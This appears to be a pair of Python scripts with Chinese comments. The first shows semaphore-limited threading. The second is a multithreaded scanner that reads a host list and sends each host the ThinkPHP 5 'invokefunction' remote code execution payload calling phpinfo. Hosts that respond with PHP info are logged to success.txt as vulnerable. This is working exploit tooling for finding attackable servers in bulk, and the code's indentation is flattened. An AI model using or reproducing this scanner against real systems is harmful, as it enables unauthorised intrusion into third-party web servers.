#! -*-coding: utf-8-*-

import threading
import time

class test(threading.Thread):       #继承threading类
 def __init__(self, i, sem): 
 super(test, self).__init__()   #继承python的构造方法，这为python2的写法，python3可直接super().__init__()
 self.i = i
 self.sem = sem

 def run(self):
 time.sleep(0.1)
 print("the test i is : " + str(self.i))
 self.sem.release()        #释放线程数，线程数加1

if __name__ == '__main__':
 sem = threading.Semaphore(5)   #设置可同时执行的最大线程数
 for i in range(50):
 sem.acquire()         #获得线程，可用线程数减1
 t = test(i, sem)       #给执行函数传递值
 t.start()           #执行函数
sem = threading.Semaphore(5)    #设置可同时开启的线程数，这里为5个

# -*- coding:UTF-8 -*-

import requests
import threading
import time
import sys

class check(threading.Thread):      #判断是否存在这个漏洞的执行函数
 def __init__(self, url, sem):
 super(check, self).__init__()   #继承threading类的构造方法，python3的写法super().__init__()
 self.url = url
 self.sem = sem

 def run(self):
 time.sleep(0.2)
 parameters = "s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
 try:
  responce = requests.get(url = self.url, params = parameters)
  body = responce.text
  if body.find('PHP Extension') != -1:
    with open("success.txt", "a+") as f1:
      f1.write("存在tp5远程代码执行漏洞: " + self.url + "\n")
      print("[+] " + self.url)
  else:
  print("[-] " + self.url)
 except Exception,err:
  print("connect failed")
  pass
 self.sem.release()       #执行完函数，释放线程，线程数加1

class host(threading.Thread):     #遍历文件操作
 def __init__(self, sem):
 super(host, self).__init__()  #继承threading类的构造方法，python3的写法super().__init__()
 self.sem = sem

 def run(self):
 with open(sys.argv[1], "r") as f:
  for host in f.readlines():
  self.sem.acquire()   #遍历一个就获得一个线程，直到达到最大
  host = "http://" + host.strip()
  host_thread = check(host, self.sem) 
  host_thread.start()  #执行check()的执行函数

if __name__ == '__main__':
 sem = threading.Semaphore(10)   #最大线程数为10个
 thread = host(sem)         #传递sem值
 thread.start()